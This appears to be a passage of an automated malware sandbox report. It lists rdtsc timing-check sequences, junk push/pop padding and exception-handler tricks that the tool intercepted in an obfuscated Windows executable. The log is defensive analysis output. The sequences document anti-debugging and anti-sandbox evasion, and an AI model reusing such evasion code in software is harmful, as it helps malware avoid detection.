Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 829572 second address: 829576 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 829576 second address: 829586 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F8C58F36AD6h 0x00000008 jng 00007F8C58F36AD6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8296F4 second address: 8296F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 82CB8F second address: 82CB93 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 82CB93 second address: 82CB9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 82CB9F second address: 82CBA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 82CBA3 second address: 82CBA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 7C7035 second address: 7C704A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8C58F36ADFh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 82EE90 second address: 82EEA2 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F8C59059F06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jl 00007F8C59059F06h 0x00000012 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 835A5E second address: 835A69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 835A69 second address: 835A73 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F8C59059F06h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 835A73 second address: 835A87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 ja 00007F8C58F36AD6h 0x0000000e ja 00007F8C58F36AD6h 0x00000014 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 835566 second address: 835572 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 835572 second address: 835594 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C58F36ADEh 0x00000007 pushad 0x00000008 jmp 00007F8C58F36ADFh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 835594 second address: 8355BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F8C59059F06h 0x0000000a jne 00007F8C59059F06h 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F8C59059F13h 0x0000001a rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8358C7 second address: 8358CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8358CF second address: 8358F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F8C59059F15h 0x0000000a push eax 0x0000000b push edx 0x0000000c jng 00007F8C59059F06h 0x00000012 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 83E2AA second address: 83E2B1 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 83E2B1 second address: 83E2C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 jc 00007F8C59059F10h 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 83CE19 second address: 83CE3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F8C58F36AD6h 0x0000000a popad 0x0000000b pushad 0x0000000c jg 00007F8C58F36AD6h 0x00000012 jmp 00007F8C58F36ADBh 0x00000017 popad 0x00000018 pushad 0x00000019 push edx 0x0000001a pop edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 83CE3C second address: 83CE48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F8C59059F06h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 83CE48 second address: 83CE53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 83CE53 second address: 83CE63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jc 00007F8C59059F06h 0x00000010 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 83D136 second address: 83D13A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 83D67C second address: 83D692 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8C59059F12h 0x00000009 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 83D692 second address: 83D6AF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C58F36AE3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 83D6AF second address: 83D6B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 83DBE9 second address: 83DBED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 83DBED second address: 83DBF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 83DBF3 second address: 83DC10 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007F8C58F36AD6h 0x00000009 jmp 00007F8C58F36AE0h 0x0000000e popad 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 83CB31 second address: 83CB4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8C59059F12h 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 83CB4B second address: 83CB53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 844D3A second address: 844D59 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F8C59059F15h 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 844D59 second address: 844D5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 80AABD second address: 80AAC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 80AAC1 second address: 80AAC5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 80AAC5 second address: 80AACB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 80AACB second address: 80AAE1 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F8C58F36ADCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 80AAE1 second address: 80AAE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 80AAE6 second address: 80AB04 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8C58F36AE9h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 80B5C5 second address: 80B5CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 80B5CB second address: 80B5E7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C58F36ADDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jp 00007F8C58F36AE4h 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 80B5E7 second address: 80B5EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 80E2C8 second address: 80E2D2 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F8C58F36AD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8109CC second address: 8109D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8109D2 second address: 8109D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8162DE second address: 8162F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C59059F0Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c push eax 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 81AB3A second address: 81AB40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 81BACE second address: 81BB58 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push eax 0x0000000c call 00007F8C59059F08h 0x00000011 pop eax 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 add dword ptr [esp+04h], 0000001Ah 0x0000001e inc eax 0x0000001f push eax 0x00000020 ret 0x00000021 pop eax 0x00000022 ret 0x00000023 mov edi, dword ptr [ebp+122D2ECFh] 0x00000029 push dword ptr fs:[00000000h] 0x00000030 pushad 0x00000031 mov ax, bx 0x00000034 mov ecx, dword ptr [ebp+122D1F65h] 0x0000003a popad 0x0000003b mov dword ptr fs:[00000000h], esp 0x00000042 mov bx, cx 0x00000045 jg 00007F8C59059F07h 0x0000004b mov eax, dword ptr [ebp+122D15C9h] 0x00000051 sbb ebx, 5EF8C6ADh 0x00000057 push FFFFFFFFh 0x00000059 push 00000000h 0x0000005b push ebx 0x0000005c call 00007F8C59059F08h 0x00000061 pop ebx 0x00000062 mov dword ptr [esp+04h], ebx 0x00000066 add dword ptr [esp+04h], 00000014h 0x0000006e inc ebx 0x0000006f push ebx 0x00000070 ret 0x00000071 pop ebx 0x00000072 ret 0x00000073 mov ebx, dword ptr [ebp+122D2D77h] 0x00000079 nop 0x0000007a push eax 0x0000007b push edx 0x0000007c pushad 0x0000007d push eax 0x0000007e push edx 0x0000007f rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 81BB58 second address: 81BB63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F8C58F36AD6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 81BB63 second address: 81BB69 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 81DD73 second address: 81DD94 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C58F36AE7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 81DD94 second address: 81DD9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 81DD9A second address: 81DD9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 81EDCF second address: 81EE01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 push eax 0x00000007 pushad 0x00000008 jmp 00007F8C59059F16h 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F8C59059F12h 0x00000014 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 81FD55 second address: 81FD59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 81FE58 second address: 81FE5F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 820E6B second address: 820EE5 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F8C58F36ADCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d add ebx, 2BA3B991h 0x00000013 push dword ptr fs:[00000000h] 0x0000001a mov dword ptr [ebp+122D364Eh], eax 0x00000020 mov dword ptr fs:[00000000h], esp 0x00000027 call 00007F8C58F36ADBh 0x0000002c mov ebx, eax 0x0000002e pop ebx 0x0000002f mov eax, dword ptr [ebp+122D133Dh] 0x00000035 push 00000000h 0x00000037 push eax 0x00000038 call 00007F8C58F36AD8h 0x0000003d pop eax 0x0000003e mov dword ptr [esp+04h], eax 0x00000042 add dword ptr [esp+04h], 0000001Ah 0x0000004a inc eax 0x0000004b push eax 0x0000004c ret 0x0000004d pop eax 0x0000004e ret 0x0000004f mov ebx, 742E4FF6h 0x00000054 mov dword ptr [ebp+12458E47h], edx 0x0000005a push FFFFFFFFh 0x0000005c mov bx, 1C00h 0x00000060 push eax 0x00000061 pushad 0x00000062 push eax 0x00000063 push edx 0x00000064 push esi 0x00000065 pop esi 0x00000066 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 820EE5 second address: 820EF7 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F8C59059F06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jnl 00007F8C59059F06h 0x00000012 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 820EF7 second address: 820EFB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 821EEA second address: 821EEF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8060CD second address: 8060D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8060D1 second address: 8060DB instructions: 0x00000000 rdtsc 0x00000002 jc 00007F8C59059F06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 806160 second address: 80618D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 ja 00007F8C58F36AD6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F8C58F36AE7h 0x0000001b rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 80618D second address: 806193 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 806193 second address: 8061EA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C58F36AE2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b jmp 00007F8C58F36ADCh 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 jnp 00007F8C58F36ADAh 0x0000001a push edi 0x0000001b pushad 0x0000001c popad 0x0000001d pop edi 0x0000001e pop eax 0x0000001f jmp 00007F8C58F36AE1h 0x00000024 call 00007F8C58F36AD9h 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d jnp 00007F8C58F36AD6h 0x00000033 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8061EA second address: 8061EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8061EE second address: 8061F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8061F4 second address: 80623E instructions: 0x00000000 rdtsc 0x00000002 jl 00007F8C59059F0Ch 0x00000008 jg 00007F8C59059F06h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push ebx 0x00000012 jmp 00007F8C59059F0Ah 0x00000017 pop ebx 0x00000018 mov eax, dword ptr [esp+04h] 0x0000001c jmp 00007F8C59059F0Ch 0x00000021 mov eax, dword ptr [eax] 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 jmp 00007F8C59059F15h 0x0000002b push ecx 0x0000002c pop ecx 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 80623E second address: 806243 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 806300 second address: 806305 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8063B2 second address: 8063C3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C58F36ADDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8063C3 second address: 8063C8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8069D9 second address: 8069DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8069DD second address: 8069E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8069E1 second address: 8069E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8069E7 second address: 806A51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jbe 00007F8C59059F12h 0x0000000f nop 0x00000010 jmp 00007F8C59059F0Eh 0x00000015 push 0000001Eh 0x00000017 mov edx, dword ptr [ebp+122D3AA3h] 0x0000001d jne 00007F8C59059F0Eh 0x00000023 pushad 0x00000024 pushad 0x00000025 popad 0x00000026 mov bx, 1165h 0x0000002a popad 0x0000002b nop 0x0000002c pushad 0x0000002d jmp 00007F8C59059F19h 0x00000032 jo 00007F8C59059F08h 0x00000038 pushad 0x00000039 popad 0x0000003a popad 0x0000003b push eax 0x0000003c pushad 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 806A51 second address: 806A55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
